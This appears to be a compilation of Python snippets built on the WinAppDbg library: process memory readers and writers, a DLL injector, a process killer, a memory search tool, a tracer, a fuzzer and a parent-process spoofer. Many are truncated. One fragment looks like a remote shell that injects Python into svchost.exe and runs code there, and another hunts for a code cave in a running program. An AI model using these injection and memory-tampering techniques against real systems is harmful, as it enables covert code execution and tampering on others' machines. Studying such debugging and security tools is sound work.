def print_state( process_name ): # Request debug privileges. System.request_debug_privileges() # Find the first process that matches the requested name. system = System() process, filename = system.find_processes_by_filename( process_name )[ 0 ] # Suspend the process execution. process.suspend() try: # For each thread in the process... for thread in process.iter_threads(): # Get the thread state. tid = thread.get_tid() eip = thread.get_pc() code = thread.disassemble_around( eip ) context = thread.get_context() # Display the thread state. print print "-" * 79 print "Thread: %s" % HexDump.integer( tid ) print print CrashDump.dump_registers( context ) print CrashDump.dump_code( code, eip ), print "-" * 79 # Resume the process execution. finally: process.resume()
def getPidsByImg(img): result = [] system = System() system.scan_processes() for ( process, name ) in system.find_processes_by_filename( img ): result.append(process.get_pid()) return result
def main(): print "Process string extractor" print "by Mario Vilas (mvilas at gmail.com)" print if len(sys.argv) != 2: script = os.path.basename(sys.argv[0]) print " %s <pid>" % script print " %s <process.exe>" % script return System.request_debug_privileges() try: pid = HexInput.integer(sys.argv[1]) except Exception, e: s = System() s.scan_processes() pl = s.find_processes_by_filename(sys.argv[1]) if not pl: print "Process not found: %s" % sys.argv[1] return if len(pl) > 1: print "Multiple processes found for %s" % sys.argv[1] for p, n in pl: print "\t%s: %s" % (p.get_pid(), n) return pid = pl[0][0].get_pid() s.clear() del s
def main(): print("Process memory reader") print("by Mario Vilas (mvilas at gmail.com)") print if len(sys.argv) not in (4, 5): script = os.path.basename(sys.argv[0]) print(" %s <pid> <address> <size> [binary output file]" % script) print(" %s <process.exe> <address> <size> [binary output file]" % script) return System.request_debug_privileges() try: pid = HexInput.integer(sys.argv[1]) except: s = System() s.scan_processes() pl = s.find_processes_by_filename(sys.argv[1]) if not pl: print("Process not found: %s" % sys.argv[1]) return if len(pl) > 1: print("Multiple processes found for %s" % sys.argv[1]) for p, n in pl: print("\t%s: %s" % (HexDump.integer(p), n)) return pid = pl[0][0].get_pid() try: address = HexInput.integer(sys.argv[2]) except Exception: print("Invalid value for address: %s" % sys.argv[2]) return try: size = HexInput.integer(sys.argv[3]) except Exception: print("Invalid value for size: %s" % sys.argv[3]) return p = Process(pid) data = p.read(address, size) ## data = p.peek(address, size) print("Read %d bytes from PID %d" % (len(data), pid)) if len(sys.argv) == 5: filename = sys.argv[4] open(filename, 'wb').write(data) print("Written %d bytes to %s" % (len(data), filename)) else: if win32.sizeof(win32.LPVOID) == win32.sizeof(win32.DWORD): width = 16 else: width = 8 print print(HexDump.hexblock(data, address, width=width))
def main(): print "Process memory reader" print "by Mario Vilas (mvilas at gmail.com)" print if len(sys.argv) not in (4, 5): script = os.path.basename(sys.argv[0]) print " %s <pid> <address> <size> [binary output file]" % script print " %s <process.exe> <address> <size> [binary output file]" % script return System.request_debug_privileges() try: pid = HexInput.integer(sys.argv[1]) except: s = System() s.scan_processes() pl = s.find_processes_by_filename(sys.argv[1]) if not pl: print "Process not found: %s" % sys.argv[1] return if len(pl) > 1: print "Multiple processes found for %s" % sys.argv[1] for p,n in pl: print "\t%s: %s" % (HexDump.integer(p),n) return pid = pl[0][0].get_pid() try: address = HexInput.integer(sys.argv[2]) except Exception: print "Invalid value for address: %s" % sys.argv[2] return try: size = HexInput.integer(sys.argv[3]) except Exception: print "Invalid value for size: %s" % sys.argv[3] return p = Process(pid) data = p.read(address, size) ## data = p.peek(address, size) print "Read %d bytes from PID %d" % (len(data), pid) if len(sys.argv) == 5: filename = sys.argv[4] open(filename, 'wb').write(data) print "Written %d bytes to %s" % (len(data), filename) else: if win32.sizeof(win32.LPVOID) == win32.sizeof(win32.DWORD): width = 16 else: width = 8 print print HexDump.hexblock(data, address, width = width)
def main(argv): # Print the banner. print "SelectMyParent: Start a program with a selected parent process" print "by Mario Vilas (mvilas at gmail.com)" print "based on a Didier Stevens tool (https://DidierStevens.com)" print # Check the command line arguments. if len(argv) < 3: script = os.path.basename(argv[0]) print " %s <pid> <process.exe> [arguments]" % script return # Request debug privileges. system = System() system.request_debug_privileges() # Parse the parent process argument. try: dwParentProcessId = HexInput.integer(argv[1]) except ValueError: dwParentProcessId = None if dwParentProcessId is not None: dwMyProcessId = win32.GetProcessId(win32.GetCurrentProcess()) if dwParentProcessId != dwMyProcessId: system.scan_processes_fast() if not system.has_process(dwParentProcessId): print "Can't find process ID %d" % dwParentProcessId return else: system.scan_processes() process_list = system.find_processes_by_filename(argv[1]) if not process_list: print "Can't find process %r" % argv[1] return if len(process_list) > 1: print "Too many processes found:" for process, name in process_list: print "\t%d:\t%s" % (process.get_pid(), name) return dwParentProcessId = process_list[0][0].get_pid() # Parse the target process argument. filename = argv[2] if not ntpath.exists(filename): try: filename = win32.SearchPath(None, filename, '.exe')[0] except WindowsError, e: print "Error searching for %s: %s" % (filename, str(e)) return argv = list(argv) argv[2] = filename
def main(argv): # Print the banner. print "SelectMyParent: Start a program with a selected parent process" print "by Mario Vilas (mvilas at gmail.com)" print "based on a Didier Stevens tool (https://DidierStevens.com)" print # Check the command line arguments. if len(argv) < 3: script = os.path.basename(argv[0]) print " %s <pid> <process.exe> [arguments]" % script return # Request debug privileges. system = System() system.request_debug_privileges() # Parse the parent process argument. try: dwParentProcessId = HexInput.integer(argv[1]) except ValueError: dwParentProcessId = None if dwParentProcessId is not None: dwMyProcessId = win32.GetProcessId( win32.GetCurrentProcess() ) if dwParentProcessId != dwMyProcessId: system.scan_processes_fast() if not system.has_process(dwParentProcessId): print "Can't find process ID %d" % dwParentProcessId return else: system.scan_processes() process_list = system.find_processes_by_filename(argv[1]) if not process_list: print "Can't find process %r" % argv[1] return if len(process_list) > 1: print "Too many processes found:" for process, name in process_list: print "\t%d:\t%s" % (process.get_pid(), name) return dwParentProcessId = process_list[0][0].get_pid() # Parse the target process argument. filename = argv[2] if not os.path.exists(filename): try: filename = win32.SearchPath(None, filename, '.exe')[0] except WindowsError, e: print "Error searching for %s: %s" % (filename, str(e)) return argv = list(argv) argv[2] = filename
def main(): print("Process memory writer") print("by Mario Vilas (mvilas at gmail.com)") print() if len(sys.argv) < 4: script = os.path.basename(sys.argv[0]) print(" %s <pid> <address> {binary input file / hex data}" % script) print(" %s <process.exe> <address> {binary input file / hex data}" % script) return System.request_debug_privileges() try: pid = HexInput.integer(sys.argv[1]) except Exception: s = System() s.scan_processes() pl = s.find_processes_by_filename(sys.argv[1]) if not pl: print("Process not found: %s" % sys.argv[1]) return if len(pl) > 1: print("Multiple processes found for %s" % sys.argv[1]) for p, n in pl: print("\t%s: %s" % (HexDump.integer(p), n)) return pid = pl[0][0].get_pid() try: address = HexInput.integer(sys.argv[2]) except Exception: print("Invalid value for address: %s" % sys.argv[2]) return filename = ' '.join(sys.argv[3:]) if os.path.exists(filename): data = open(filename, 'rb').read() print("Read %d bytes from %s" % (len(data), filename)) else: try: data = HexInput.hexadecimal(filename) except Exception: print("Invalid filename or hex block: %s" % filename) return p = Process(pid) p.write(address, data) print("Written %d bytes to PID %d" % (len(data), pid))
def main(): print "Process memory writer" print "by Mario Vilas (mvilas at gmail.com)" print if len(sys.argv) < 4: script = os.path.basename(sys.argv[0]) print " %s <pid> <address> {binary input file / hex data}" % script print " %s <process.exe> <address> {binary input file / hex data}" % script return System.request_debug_privileges() try: pid = HexInput.integer(sys.argv[1]) except Exception: s = System() s.scan_processes() pl = s.find_processes_by_filename(sys.argv[1]) if not pl: print "Process not found: %s" % sys.argv[1] return if len(pl) > 1: print "Multiple processes found for %s" % sys.argv[1] for p,n in pl: print "\t%s: %s" % (HexDump.integer(p),n) return pid = pl[0][0].get_pid() try: address = HexInput.integer(sys.argv[2]) except Exception: print "Invalid value for address: %s" % sys.argv[2] return filename = ' '.join(sys.argv[3:]) if os.path.exists(filename): data = open(filename, 'rb').read() print "Read %d bytes from %s" % (len(data), filename) else: try: data = HexInput.hexadecimal(filename) except Exception: print "Invalid filename or hex block: %s" % filename return p = Process(pid) p.write(address, data) print "Written %d bytes to PID %d" % (len(data), pid)
def main(): """TODO """ print "...as script dumper for as3s.exe..." if len(sys.argv) != 2: print "usage: %s swf.as" % sys.argv[0] return try: s = System() s.request_debug_privileges() s.scan() p = s.find_processes_by_filename("as3s.exe")[0][0] except Exception, e: print "[-] oops..." % str(e) return
def list_processes(match_name=""): print "[+] processes:" s = System() l = [] if len(match_name) > 0: l1 = [] for p in s.find_processes_by_filename(match_name): l.append(p[0]) else: l = s for p in l: print "%5d\t%s" % (p.get_pid(), p.get_filename()) return l
def main(): print "Process DLL injector" print "by Mario Vilas (mvilas at gmail.com)" print if len(sys.argv) != 3: script = os.path.basename(sys.argv[0]) print "Injects a DLL into a running process." print " %s <pid> <library.dll>" % script print " %s <process.exe> <library.dll>" % script return System.request_debug_privileges() try: pid = HexInput.integer(sys.argv[1]) except Exception: s = System() s.scan_processes() pl = s.find_processes_by_filename(sys.argv[1]) if not pl: print "Process not found: %s" % sys.argv[1] return if len(pl) > 1: print "Multiple processes found for %s" % sys.argv[1] for p,n in pl: print "\t%12d: %s" % (p,n) return pid = pl[0][0].get_pid() print "Using PID %d (0x%x)" % (pid, pid) dll = sys.argv[2] print "Using DLL %s" % dll p = Process(pid) b = p.get_bits() if b != System.bits: print ( "Cannot inject into a %d bit process from a %d bit Python VM!" % (b, System.bits) ) return p.scan_modules() p.inject_dll(dll)
def main(): print("Process DLL injector") print("by Mario Vilas (mvilas at gmail.com)") print if len(sys.argv) != 3: script = os.path.basename(sys.argv[0]) print("Injects a DLL into a running process.") print(" %s <pid> <library.dll>" % script) print(" %s <process.exe> <library.dll>" % script) return System.request_debug_privileges() try: pid = HexInput.integer(sys.argv[1]) except Exception: s = System() s.scan_processes() pl = s.find_processes_by_filename(sys.argv[1]) if not pl: print("Process not found: %s" % sys.argv[1]) return if len(pl) > 1: print("Multiple processes found for %s" % sys.argv[1]) for p,n in pl: print("\t%12d: %s" % (p,n)) return pid = pl[0][0].get_pid() print("Using PID %d (0x%x)" % (pid, pid)) dll = sys.argv[2] print("Using DLL %s" % dll) p = Process(pid) b = p.get_bits() if b != System.bits: print(() "Cannot inject into a %d bit process from a %d bit Python VM!" % (b, System.bits) ) return p.scan_modules() p.inject_dll(dll)
if dados.startswith("cd"): os.chdir(dados[3:].replace('\n','')) s.send("\n Changing directory to " + str(os.getcwd())+"\n") result='\n' if dados.startswith("pwd"): s.send("\n"+str(os.getcwd)+"\n") if os.name == 'nt': try: # Injetando codigo python_lib = "python{0}{1}.dll".format(sys.version_info.major, sys.version_info.minor) python_dll = ctypes.util.find_library(python_lib) s = System() s.scan_processes() pl = s.find_processes_by_filename("svchost.exe") pid = pl[0][0].get_pid() p = Process(pid) print('pid', pid) print('arch', p.get_bits()) t = p.inject_dll(python_dll) p.scan_modules() m = p.get_module_by_name(python_lib) init = m.resolve("Py_InitializeEx") pyrun = m.resolve("PyRun_SimpleString") print(init, pyrun) p.start_thread(init, 0) time.sleep(0.1) sh = 'import subprocess; subprocess.call("svchost.exe")' addr = p.malloc(len(sh)) p.write(addr, sh)
class Main(object): def __init__(self, argv): self.argv = argv def parse_cmdline(self): # An empty command line causes the help message to be shown if len(self.argv) == 1: self.argv = self.argv + ['-h'] # Usage string usage = "%prog [options] <target process IDs or names...>" self.parser = optparse.OptionParser(usage=usage) # Options to set the search method search = optparse.OptionGroup( self.parser, "What to search", "(at least one of these switches must be used)") search.add_option("-s", "--string", action="append", metavar="VALUE", help="where VALUE is case sensitive text") search.add_option("-i", "--istring", action="append", metavar="VALUE", help="where VALUE is case insensitive text") search.add_option("-x", "--hexa", action="append", metavar="VALUE", help="where VALUE is hexadecimal data") search.add_option("-p", "--pattern", action="append", metavar="VALUE", help="where VALUE is an hexadecimal pattern") self.parser.add_option_group(search) # Options to control the search internals engine = optparse.OptionGroup(self.parser, "How to search") engine.add_option("-m", "--memory-pages", action="store", type="int", metavar="NUMBER", help="maximum number of consecutive memory pages" \ " to read (matches larger than this won't" \ " be found) " \ "[default: 2, use 0 for no limit]") self.parser.add_option_group(engine) # Options to set the output type output = optparse.OptionGroup(self.parser, "What to show") output.add_option("-v", "--verbose", action="store_true", dest="verbose", help="verbose output") output.add_option("-q", "--quiet", action="store_false", dest="verbose", help="brief output [default]") self.parser.add_option_group(output) # Default values self.parser.set_defaults( string=[], istring=[], hexa=[], pattern=[], regexp=[], memory_pages=2, verbose=False, ) # Parse the command line and check for validity (self.options, self.targets) = self.parser.parse_args(self.argv) # Our script's filename is not a target, skip it self.targets = self.targets[1:] # Fail if no search query was entered if not self.options.string and \ not self.options.istring and \ not self.options.hexa and \ not self.options.pattern: self.parser.error("at least one search switch must be used") def prepare_input(self): # Build the lists of search objects self.build_searchers_list(StringSearch) self.build_searchers_list(TextSearch) self.build_searchers_list(HexSearch) self.build_searchers_list(PatternSearch) # Build the list of target pids self.build_targets_list() def build_searchers_list(self, cls): searchers = getattr(self.options, cls.name) for index in range(len(searchers)): try: searchers[index] = cls(searchers[index], index) except Exception as e: msg = cls.init_error_msg(index, searchers[index], e) self.parser.error(msg) def build_targets_list(self): # Take a process snapshot self.system = System() self.system.request_debug_privileges() self.system.scan_processes() # If no targets were given, search on all processes if not self.targets: self.targets = self.system.get_process_ids() # If targets were given, search only on those processes else: expanded_targets = set() for token in self.targets: try: pid = HexInput.integer(token) if not self.system.has_process(pid): self.parser.error("process not found: %s" % token) expanded_targets.add(pid) except ValueError: found = self.system.find_processes_by_filename(token) pidlist = [process.get_pid() for (process, _) in found] if not pidlist: self.parser.error("process not found: %s" % token) expanded_targets.update(pidlist) self.targets = list(expanded_targets) # Sort the targets list self.targets.sort() def do_search(self): # For each target process... for self.pid in self.targets: # Try to open the process, skip on error try: self.process = Process(self.pid) self.process.get_handle() except WindowsError: print("Can't open process %d, skipping" % self.pid) if self.options.verbose: print continue # Get a list of allocated memory regions memory = list() for mbi in self.process.get_memory_map(): if mbi.State == win32.MEM_COMMIT and \ not mbi.Protect & win32.PAGE_GUARD: memory.append((mbi.BaseAddress, mbi.RegionSize)) # If no allocation limit is set, # read entire regions and search on them if self.options.memory_pages <= 0: for (address, size) in memory: try: data = self.process.read(address, size) except WindowsError as e: begin = HexDump.address(address) end = HexDump.address(address + size) msg = "Error reading %s-%s: %s" msg = msg % (begin, end, str(e)) print(msg) if self.options.verbose: print continue self.search_block(data, address, 0) # If an allocation limit is set, # read blocks within regions to search else: step = self.system.pageSize size = step * self.options.memory_pages for (address, total_size) in memory: try: end = address + total_size shift = 0 buffer = self.process.read(address, min(size, total_size)) while 1: self.search_block(buffer, address, shift) shift = step address = address + step if address >= end: break buffer = buffer[step:] buffer = buffer + self.process.read(address, step) except WindowsError as e: begin = HexDump.address(address) end = HexDump.address(address + total_size) msg = "Error reading %s-%s: %s" msg = msg % (begin, end, str(e)) print(msg) if self.options.verbose: print def search_block(self, data, address, shift): self.search_block_with(self.options.string, data, address, shift) self.search_block_with(self.options.istring, data, address, shift) self.search_block_with(self.options.hexa, data, address, shift) self.search_block_with(self.options.pattern, data, address, shift) def search_block_with(self, searchers_list, data, address, shift): for searcher in searchers_list: if shift == 0: searcher.restart() else: searcher.shift(shift) while 1: searcher.search(data) if not searcher.found(): break if self.options.verbose: print(searcher.message(self.pid, address - shift, data)) print else: print(searcher.message(self.pid, address - shift)) def run(self): # Banner print("Process memory finder") print("by Mario Vilas (mvilas at gmail.com)") print # Parse the command line self.parse_cmdline() # Prepare the input self.prepare_input() # Perform the search on the selected targets self.do_search()
def parse_cmdline(argv): # Help message and version string version = ("In Memory fuzzer\n") usage = ("\n" "\n" " Attach to a running process (by filename):\n" " %prog [options] -a <executable>\n" "\n" " Attach to a running process (by ID):\n" " %prog [options] -a <process id>") parser = optparse.OptionParser( usage=usage, version=version, ) # Commands commands = optparse.OptionGroup(parser, "Commands") commands.add_option("-a", "--attach", action="append", type="string", metavar="PROCESS", help="Attach to a running process") parser.add_option_group(commands) # SEH test options fuzzer_opts = optparse.OptionGroup(parser, "Fuzzer options") fuzzer_opts.add_option("--snapshot_address", metavar="ADDRESS", help="take snapshot point address") fuzzer_opts.add_option("--restore_address", metavar="ADDRESS", help="restore snapshot point address") fuzzer_opts.add_option( "--buffer_address", metavar="ADDRESS", help="address of the buffer to be modified in memory") fuzzer_opts.add_option("--buffer_size", metavar="ADDRESS", help="size of the buffer to be modified in memory") fuzzer_opts.add_option("-o", "--output", metavar="FILE", help="write the output to FILE") fuzzer_opts.add_option("--debuglog", metavar="FILE", help="set FILE as a debug log (extremely verbose!)") parser.add_option_group(fuzzer_opts) # Debugging options debugging = optparse.OptionGroup(parser, "Debugging options") debugging.add_option( "--follow", action="store_true", help="automatically attach to child processes [default]") debugging.add_option("--dont-follow", action="store_false", dest="follow", help="don't automatically attach to child processes") parser.add_option_group(debugging) # Defaults parser.set_defaults( follow=True, attach=list(), output=None, debuglog=None, ) # Parse and validate the command line options if len(argv) == 1: argv = argv + ['--help'] (options, args) = parser.parse_args(argv) args = args[1:] if not options.attach: if not args: parser.error("missing target application(s)") options.console = [args] else: if args: parser.error("don't know what to do with extra parameters: %s" % args) if not options.snapshot_address: parser.error("Snapshot address not specified") if not options.restore_address: parser.error("Restore address not specified") if not options.buffer_address: parser.error("Buffer address not specified") if not options.buffer_size: parser.error("Buffser size not specified") global logger if options.output: logger = Logger(logfile=options.output, verbose=logger.verbose) # Open the debug log file if requested if options.debuglog: logger = Logger(logfile=options.debuglog, verbose=logger.verbose) # Get the list of attach targets system = System() system.request_debug_privileges() system.scan_processes() attach_targets = list() for token in options.attach: try: dwProcessId = HexInput.integer(token) except ValueError: dwProcessId = None if dwProcessId is not None: if not system.has_process(dwProcessId): parser.error("can't find process %d" % dwProcessId) try: process = Process(dwProcessId) process.open_handle() process.close_handle() except WindowsError, e: parser.error("can't open process %d: %s" % (dwProcessId, e)) attach_targets.append(dwProcessId) else: matched = system.find_processes_by_filename(token) if not matched: parser.error("can't find process %s" % token) for process, name in matched: dwProcessId = process.get_pid() try: process = Process(dwProcessId) process.open_handle() process.close_handle() except WindowsError, e: parser.error("can't open process %d: %s" % (dwProcessId, e)) attach_targets.append(process.get_pid())
# Lookup the threads in the process. #process.scan_threads() # For each thread in the process... #for thread in process.iter_threads(): # print(thread) # Resume the thread execution. #thread.resume() if args.list: # Now we can enumerate the running processes. for process in system: print("%d:\t%s" % (process.get_pid(), process.get_filename())) sys.exit(0) if args.name is not None: System.request_debug_privileges() process = system.find_processes_by_filename(args.name) if len(process) == 0: sys.exit(0) pid = process[0][0].get_pid() if args.file is not None: print("Injecting %s into %s" % (args.file, pid)) file_full_path = os.path.abspath(args.file) load_dll(pid, file_full_path)
def main(argv): script = os.path.basename(argv[0]) params = argv[1:] print "Process killer" print "by Mario Vilas (mvilas at gmail.com)" print if len(params) == 0 or '-h' in params or '--help' in params or \ '/?' in params: print "Usage:" print " %s <process ID or name> [process ID or name...]" print print "If a process name is given instead of an ID all matching processes are killed." exit() # Scan for active processes. # This is needed both to translate names to IDs, and to validate the user-supplied IDs. s = System() s.request_debug_privileges() s.scan_processes() # Parse the command line. # Each ID is validated against the list of active processes. # Each name is translated to an ID. # On error, the program stops before killing any process at all. targets = set() for token in params: try: pid = HexInput.integer(token) except ValueError: pid = None if pid is None: matched = s.find_processes_by_filename(token) if not matched: print "Error: process not found: %s" % token exit() for (process, name) in matched: targets.add(process.get_pid()) else: if not s.has_process(pid): print "Error: process not found: 0x%x (%d)" % (pid, pid) exit() targets.add(pid) targets = list(targets) targets.sort() count = 0 # Try to terminate the processes using the TerminateProcess() API. next_targets = list() for pid in targets: next_targets.append(pid) try: # Note we don't really need to call open_handle and close_handle, # but it's good to know exactly which API call it was that failed. process = Process(pid) process.open_handle() try: process.kill(-1) next_targets.pop() count += 1 print "Terminated process %d" % pid try: process.close_handle() except WindowsError, e: print "Warning: call to CloseHandle() failed: %s" % str(e) except WindowsError, e: print "Warning: call to TerminateProcess() failed: %s" % str(e) except WindowsError, e: print "Warning: call to OpenProcess() failed: %s" % str(e)
# Now we can enumerate the threads in the process... print "Threads:" for thread in process.iter_threads(): print "\t%d" % thread.get_tid() # ...and the modules in the process. print "Modules:" bits = process.get_bits() for module in process.iter_modules(): print "\t%s\t%s" % (HexDump.address(module.get_base(), bits), module.get_filename()) system = System() procs = system.find_processes_by_filename("printloop.exe") p = None if len(procs) != 0: p = procs[0][0] else: sys.exit(0) p.suspend() #print_threads_and_modules(p.get_pid()) module_address = p.get_module_by_name("printloop.exe").get_base() addrs = p.search_bytes("\x90" * 10, minAddr=module_address, maxAddr=module_address + 0x100000) cave_addr = 0 for addr in addrs:
def main(): print "Process memory map" print "by Mario Vilas (mvilas at gmail.com)" print if len(sys.argv) < 2 or '-h' in sys.argv or '--help' in sys.argv: script = os.path.basename(sys.argv[0]) print "Usage:" print " %s <pid>..." % script print " %s <process.exe>..." % script return s = System() s.request_debug_privileges() s.scan_processes() targets = set() for token in sys.argv[1:]: try: pid = HexInput.integer(token) if not s.has_process(pid): print "Process not found: %s" % token return targets.add(pid) except ValueError: pl = s.find_processes_by_filename(token) if not pl: print "Process not found: %s" % token return for p, n in pl: pid = p.get_pid() targets.add(pid) targets = list(targets) targets.sort() for pid in targets: process = Process(pid) fileName = process.get_filename() memoryMap = process.get_memory_map() mappedFilenames = process.get_mapped_filenames() if fileName: print "Memory map for %d (%s):" % (pid, fileName) else: print "Memory map for %d:" % pid print ## print CrashDump.dump_memory_map(memoryMap), print CrashDump.dump_memory_map(memoryMap, mappedFilenames) readable = 0 writeable = 0 executable = 0 private = 0 mapped = 0 image = 0 total = 0 for mbi in memoryMap: size = mbi.RegionSize if not mbi.is_free(): total += size if mbi.is_readable(): readable += size if mbi.is_writeable(): writeable += size if mbi.is_executable(): executable += size if mbi.is_private(): private += size if mbi.is_mapped(): mapped += size if mbi.is_image(): image += size width = len(number(total)) print(" %%%ds bytes of readable memory" % width) % number(readable) print(" %%%ds bytes of writeable memory" % width) % number(writeable) print(" %%%ds bytes of executable memory" % width) % number(executable) print(" %%%ds bytes of private memory" % width) % number(private) print(" %%%ds bytes of mapped memory" % width) % number(mapped) print(" %%%ds bytes of image memory" % width) % number(image) print(" %%%ds bytes of total memory" % width) % number(total) print
def main(argv): script = os.path.basename(argv[0]) params = argv[1:] print "Process killer" print "by Mario Vilas (mvilas at gmail.com)" print if len(params) == 0 or '-h' in params or '--help' in params or \ '/?' in params: print "Usage:" print " %s <process ID or name> [process ID or name...]" % script print print "If a process name is given instead of an ID all matching processes are killed." exit() # Scan for active processes. # This is needed both to translate names to IDs, and to validate the user-supplied IDs. s = System() s.request_debug_privileges() s.scan_processes() # Parse the command line. # Each ID is validated against the list of active processes. # Each name is translated to an ID. # On error, the program stops before killing any process at all. targets = set() for token in params: try: pid = HexInput.integer(token) except ValueError: pid = None if pid is None: matched = s.find_processes_by_filename(token) if not matched: print "Error: process not found: %s" % token exit() for (process, name) in matched: targets.add(process.get_pid()) else: if not s.has_process(pid): print "Error: process not found: 0x%x (%d)" % (pid, pid) exit() targets.add(pid) targets = list(targets) targets.sort() count = 0 # Try to terminate the processes using the TerminateProcess() API. next_targets = list() for pid in targets: next_targets.append(pid) try: # Note we don't really need to call open_handle and close_handle, # but it's good to know exactly which API call it was that failed. process = Process(pid) process.open_handle() try: process.kill(-1) next_targets.pop() count += 1 print "Terminated process %d" % pid try: process.close_handle() except WindowsError, e: print "Warning: call to CloseHandle() failed: %s" % str(e) except WindowsError, e: print "Warning: call to TerminateProcess() failed: %s" % str(e) except WindowsError, e: print "Warning: call to OpenProcess() failed: %s" % str(e)
def parse_cmdline( argv ): # Help message and version string version = ( "Process execution tracer\n" "by Mario Vilas (mvilas at gmail.com)\n" "%s\n" ) % winappdbg.version usage = ( "\n" "\n" " Create a new process (parameters for the target must be escaped):\n" " %prog [options] -c <executable> [parameters for the target]\n" " %prog [options] -w <executable> [parameters for the target]\n" "\n" " Attach to a running process (by filename):\n" " %prog [options] -a <executable>\n" "\n" " Attach to a running process (by ID):\n" " %prog [options] -a <process id>" ) ## formatter = optparse.IndentedHelpFormatter() ## formatter = optparse.TitledHelpFormatter() parser = optparse.OptionParser( usage=usage, version=version, ## formatter=formatter, ) # Commands commands = optparse.OptionGroup(parser, "Commands") commands.add_option("-a", "--attach", action="append", type="string", metavar="PROCESS", help="Attach to a running process") commands.add_option("-w", "--windowed", action="callback", type="string", metavar="CMDLINE", callback=callback_execute_target, help="Create a new windowed process") commands.add_option("-c", "--console", action="callback", type="string", metavar="CMDLINE", callback=callback_execute_target, help="Create a new console process [default]") parser.add_option_group(commands) # Tracing options tracing = optparse.OptionGroup(parser, "Tracing options") tracing.add_option("--trace", action="store_const", const="trace", dest="mode", help="Set the single step mode [default]") if System.arch == win32.ARCH_I386: tracing.add_option("--branch", action="store_const", const="branch", dest="mode", help="Set the step-on-branch mode (doesn't work on virtual machines)") tracing.add_option("--syscall", action="store_const", const="syscall", dest="mode", help="Set the syscall trap mode") ## tracing.add_options("--module", action="append", metavar="MODULES", ## dest="modules", ## help="only trace into these modules (comma-separated)") ## debugging.add_option("--from-start", action="store_true", ## help="start tracing when the process is created [default]") ## debugging.add_option("--from-entry", action="store_true", ## help="start tracing when the entry point is reached") parser.add_option_group(tracing) # Debugging options debugging = optparse.OptionGroup(parser, "Debugging options") debugging.add_option("--autodetach", action="store_true", help="automatically detach from debugees on exit [default]") debugging.add_option("--follow", action="store_true", help="automatically attach to child processes [default]") debugging.add_option("--trusted", action="store_false", dest="hostile", help="treat debugees as trusted code [default]") debugging.add_option("--dont-autodetach", action="store_false", dest="autodetach", help="don't automatically detach from debugees on exit") debugging.add_option("--dont-follow", action="store_false", dest="follow", help="don't automatically attach to child processes") debugging.add_option("--hostile", action="store_true", help="treat debugees as hostile code") parser.add_option_group(debugging) # Defaults parser.set_defaults( autodetach = True, follow = True, hostile = False, windowed = list(), console = list(), attach = list(), ## modules = list(), mode = "trace", ) # Parse and validate the command line options if len(argv) == 1: argv = argv + [ '--help' ] (options, args) = parser.parse_args(argv) args = args[1:] if not options.windowed and not options.console and not options.attach: if not args: parser.error("missing target application(s)") options.console = [ args ] else: if args: parser.error("don't know what to do with extra parameters: %s" % args) # Get the list of attach targets system = System() system.request_debug_privileges() system.scan_processes() attach_targets = list() for token in options.attach: try: dwProcessId = HexInput.integer(token) except ValueError: dwProcessId = None if dwProcessId is not None: if not system.has_process(dwProcessId): parser.error("can't find process %d" % dwProcessId) try: process = Process(dwProcessId) process.open_handle() process.close_handle() except WindowsError, e: parser.error("can't open process %d: %s" % (dwProcessId, e)) attach_targets.append(dwProcessId) else: matched = system.find_processes_by_filename(token) if not matched: parser.error("can't find process %s" % token) for process, name in matched: dwProcessId = process.get_pid() try: process = Process(dwProcessId) process.open_handle() process.close_handle() except WindowsError, e: parser.error("can't open process %d: %s" % (dwProcessId, e)) attach_targets.append( process.get_pid() )
def getPidByImg(img): system = System() system.scan_processes() for ( process, name ) in system.find_processes_by_filename( img ): return process.get_pid() return 0
def main(): print "Process memory map" print "by Mario Vilas (mvilas at gmail.com)" print if len(sys.argv) < 2 or "-h" in sys.argv or "--help" in sys.argv: script = os.path.basename(sys.argv[0]) print "Usage:" print " %s <pid>..." % script print " %s <process.exe>..." % script return s = System() s.request_debug_privileges() s.scan_processes() targets = set() for token in sys.argv[1:]: try: pid = HexInput.integer(token) if not s.has_process(pid): print "Process not found: %s" % token return targets.add(pid) except ValueError: pl = s.find_processes_by_filename(token) if not pl: print "Process not found: %s" % token return for p, n in pl: pid = p.get_pid() targets.add(pid) targets = list(targets) targets.sort() for pid in targets: process = Process(pid) fileName = process.get_filename() memoryMap = process.get_memory_map() mappedFilenames = process.get_mapped_filenames() if fileName: print "Memory map for %d (%s):" % (pid, fileName) else: print "Memory map for %d:" % pid print ## print CrashDump.dump_memory_map(memoryMap), print CrashDump.dump_memory_map(memoryMap, mappedFilenames) readable = 0 writeable = 0 executable = 0 private = 0 mapped = 0 image = 0 total = 0 for mbi in memoryMap: size = mbi.RegionSize if not mbi.is_free(): total += size if mbi.is_readable(): readable += size if mbi.is_writeable(): writeable += size if mbi.is_executable(): executable += size if mbi.is_private(): private += size if mbi.is_mapped(): mapped += size if mbi.is_image(): image += size width = len(number(total)) print (" %%%ds bytes of readable memory" % width) % number(readable) print (" %%%ds bytes of writeable memory" % width) % number(writeable) print (" %%%ds bytes of executable memory" % width) % number(executable) print (" %%%ds bytes of private memory" % width) % number(private) print (" %%%ds bytes of mapped memory" % width) % number(mapped) print (" %%%ds bytes of image memory" % width) % number(image) print (" %%%ds bytes of total memory" % width) % number(total) print
def main(argv): # print(the banner.) print("SelectMyParent: Start a program with a selected parent process") print("by Mario Vilas (mvilas at gmail.com)") print("based on a Didier Stevens tool (https://DidierStevens.com)") print # Check the command line arguments. if len(argv) < 3: script = os.path.basename(argv[0]) print(" %s <pid> <process.exe> [arguments]" % script) return # Request debug privileges. system = System() system.request_debug_privileges() # Parse the parent process argument. try: dwParentProcessId = HexInput.integer(argv[1]) except ValueError: dwParentProcessId = None if dwParentProcessId is not None: dwMyProcessId = win32.GetProcessId(win32.GetCurrentProcess()) if dwParentProcessId != dwMyProcessId: system.scan_processes_fast() if not system.has_process(dwParentProcessId): print("Can't find process ID %d" % dwParentProcessId) return else: system.scan_processes() process_list = system.find_processes_by_filename(argv[1]) if not process_list: print("Can't find process %r" % argv[1]) return if len(process_list) > 1: print("Too many processes found:") for process, name in process_list: print("\t%d:\t%s" % (process.get_pid(), name)) return dwParentProcessId = process_list[0][0].get_pid() # Parse the target process argument. filename = argv[2] if not ntpath.exists(filename): try: filename = win32.SearchPath(None, filename, '.exe')[0] except WindowsError as e: print("Error searching for %s: %s" % (filename, str(e))) return argv = list(argv) argv[2] = filename # Start the new process. try: process = system.start_process(system.argv_to_cmdline(argv[2:]), bConsole=True, bInheritHandles=True, dwParentProcessId=dwParentProcessId) dwProcessId = process.get_pid() except AttributeError as e: if 